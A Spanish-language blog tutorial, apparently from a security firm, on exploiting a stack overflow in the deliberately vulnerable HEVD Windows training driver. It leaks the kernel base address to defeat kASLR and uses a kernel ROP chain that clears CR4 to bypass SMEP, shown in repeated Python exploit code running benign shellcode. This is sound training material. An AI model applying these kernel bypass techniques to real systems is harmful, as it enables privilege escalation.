Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

HEVD: evadiendo las protecciones del sistema operativo (kASLR + SMEP)

cover-hevd-smep-bypass (https://unsplash.com/photos/1bjsASjhfkE)
Andres Roldan

VP of Hacking

7 min

En las publicaciones anteriores hemos estado trabajando con la explotación en el espacio del kernel de Windows. Usamos como objetivo el HackSys Extremely Vulnerable Driver o HEVD, que se compone de varias vulnerabilidades para que quienes practican puedan afinar sus habilidades de explotación del kernel de Windows.

En la última publicación logramos crear un exploit de DoS aprovechando una vulnerabilidad de desbordamiento de pila en HEVD. El DoS ocurrió porque colocamos un valor arbitrario en EIP (41414141) y, cuando el sistema operativo intentó acceder a esa dirección de memoria, no estaba accesible.

En este artículo usaremos esa capacidad de sobrescribir EIP para ejecutar código en modo privilegiado.

Durante el proceso de explotación nos encontraremos con Supervisor Mode Execution Prevention, o SMEP, que frustrará nuestro exploit. Pero no temas: podremos evadirlo.

Explotación local vs. remota

Cuando explotábamos Vulnserver, hacíamos explotación remota de una aplicación en el espacio de usuario. Ese tipo de entorno tiene ciertas restricciones específicas; las más notorias son el espacio limitado del buffer para insertar nuestro payload, las restricciones de caracteres y ASLR(Address Space Layout Randomization).

Cuando explotamos el kernel de Windows, se asume que ya tenemos acceso local sin privilegios a la máquina objetivo. En ese entorno, esas restricciones ya no son un problema mayor. Por ejemplo, el problema del espacio del buffer y las restricciones de caracteres se sortean fácilmente reservando memoria dinámica con VirtualAlloc(), moviendo el payload en crudo a ese buffer y sobrescribiendo EIP con el puntero devuelto.

ASLR y kASLR (Kernel ASLR) tampoco son un problema, porque funcionan aleatorizando la memoria base de los módulos en cada reinicio, pero, si tenemos acceso local, hay funciones en la API de Windows que revelan la dirección base actual del kernel.

Sin embargo, otras protecciones entran en escena al intentar explotar a nivel de kernel, como DEP, SMEP, CFG, etc. Seguramente nos toparemos con algunas de ellas más adelante. Mantente atento.

Explotación del desbordamiento de pila

Dejamos nuestro artículo anterior realizando un DoS a la máquina objetivo, en el que usamos el siguiente exploit:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Y pudimos sobrescribir EIP con el valor 41414141. Si vamos a hacer algo más interesante, debemos empezar por localizar el offset exacto en el que se sobrescribe EIP. Igual que en cualquier otro proceso de explotación en el espacio de usuario, podemos crear un patrón cíclico para encontrar ese offset. Podemos usar mona para ello:

Using mona

Luego, actualizamos nuestro exploit:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Y lo comprobamos:

Checking updated exploit with mona

Bien, mona descubrió que EIP se sobrescribe a partir del byte 2080.

Ahora, con fines ilustrativos, crearemos un shellcode sencillo para hacer EAX = 0xdeadbeef. Luego debemos copiarlo en una ubicación generada dinámicamente creada por VirtualAlloc(). El valor de retorno de VirtualAlloc()es un puntero que se colocará a partir del byte 2081 de nuestro buffer para desviar el flujo de ejecución hacia nuestro shellcode.

Actualicemos nuestro exploit con eso:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Si todo sale como se espera, EAX tendrá el valor 0xdeadbeef y la ejecución se detendrá en el breakpoint \xccque insertamos. Comprobémoslo:

SMEP protects the kernel

¡Ay!

Nuestro exploit fue frustrado y se disparó el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY cuando la primera instrucción de nuestro shellcode intentaba ejecutarse. Eso significa que SMEP sí protegió el kernel.

SMEP: Supervisor Mode Execution Prevention

Hay un concepto llamado Protection rings (anillos de protección) que los sistemas operativos usan para delimitar capacidades y ofrecer tolerancia a fallos, definiendo niveles de privilegios. Las versiones del sistema operativo Windows usan solo 2 niveles de privilegio actuales (CPL, Current Privilege Levels): 0 y 3. Los niveles CPL también se conocen como anillos (rings). CPL0 o ring-0 es donde se ejecuta el kernel, y CPL3 o ring-3 es donde se realizan las instrucciones en modo usuario.

SMEP es una protección introducida a nivel de CPU que impide que el kernel ejecute código perteneciente a ring-3.

La excepción ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY se disparó porque HEVD se ejecuta en ring-0 y, tras sobrescribir EIP, intentaba ejecutar las instrucciones de nuestro shellcode, que estaba reservado en ring-3.

Técnicamente, SMEP no es más que un bit en un registro de control de la CPU, específicamente el bit 20 del registro de control CR4:

registro de control CR4

Para evadir SMEP, debemos invertir ese bit (ponerlo en 0). Como se ve, el valor actual de CR4 con SMEP habilitado es 001406e9. Veamos cuál sería el valor tras invertir el bit 20:

Invirtiendo el bit 20

Sería 000406e9. Necesitamos colocar ese valor en CR4 para apagar SMEP.

Pero ¿cómo hacerlo si no se nos permite ejecutar instrucciones en ring-3? ¡ROP viene al rescate! Necesitamos ejecutar una cadena ROP con instrucciones que ya están en modo kernel. En ring-0, a ROP se le suele llamar kROP. Entonces necesitamos ejecutar una cadena kROP y cambiar el valor de CR4. Con eso deberíamos poder hacer EAX = 0xdeadbeef.

En nt!KeFlushCurrentTb encontramos un gadget que establece CR4 a partir del valor que tenga EAX: mov cr4, eax # ret.

Ahora necesitamos calcular el offset de ese gadget ROP desde el inicio del módulo nt:

Módulo nt

El offset es 0011f8de. Lo usaremos más adelante.

Ahora necesitamos encontrar un gadget pop eax # ret. Podemos encontrar uno en nt!_MapCMDevicePropertyToNtProperty+0x39:

nt!_MapCMDevicePropertyToNtProperty+0x39

Y el offset desde el inicio del módulo nt es 0002bbef:

0002bbef


Debemos recordar rellenar nuestra cadena ROP con 8 bytes, porque el epílogo de la función desbordada usa ret 8, que retornará al valor apuntado por ESP y luego sacará 8 bytes de la pila:

8 bytes from the stack

¡Con eso ya podemos deshabilitar SMEP!

Derrotando kASLR

Ya tenemos toda la información necesaria para crear la cadena ROPque deshabilita SMEP. Sin embargo, debemos lidiar con el ASLR del kernel. Como mencioné antes, hay varias funciones que pueden ejecutarse en modo usuario (ring-3) y que dan información de direcciones en ring-0 Las más usadas son NtQuerySystemInformation() y EnumDeviceDrivers(). Esta última es la más sencilla. Con el siguiente código puedes obtener la dirección base del kernel:

import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

Y lo comprobamos:

0x81e09000

Como puedes ver, coincide perfectamente con la dirección reportada por WinDBG:

Perfect match

¡Con eso podemos actualizar nuestro exploit, agregando la cadena ROP para deshabilitar SMEP, usando los offsets de los gadgets y el valor devuelto por esa función para obtener direcciones absolutas, derrotando kASLR!

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Se ve bien. Ahora lo comprobamos:

Python exploit success

Y este es el contenido del registro CR4:

CR4 register content

¡Como puedes ver, pudimos deshabilitar SMEP e hicimosEAX = 0xdeadbeef!

Conclusiones

En esta publicación pudimos ejecutar un shellcode que hizo EAX = 0xdeadbeef. También evadimos la protección SMEP usando una cadena kROP y derrotamos kASLR filtrando la dirección base del kernel desde ring-3. Sin embargo, todavía nos falta obtener una shell privilegiada en este sistema, lo cual se cubrirá en el próximo artículo.

Empieza ya con el PTaaS de Fluid Attacks

Etiquetas:

formacion

exploit

vulnerabilidad

windows

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Reduce el riesgo sin retrasar tus entregas

Reduce el riesgo sin retrasar tus entregas

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Prevén

Prevén

Prevén

Detecta

Detecta

Detecta

Gestiona

Gestiona

Gestiona

Remedia

Remedia

Remedia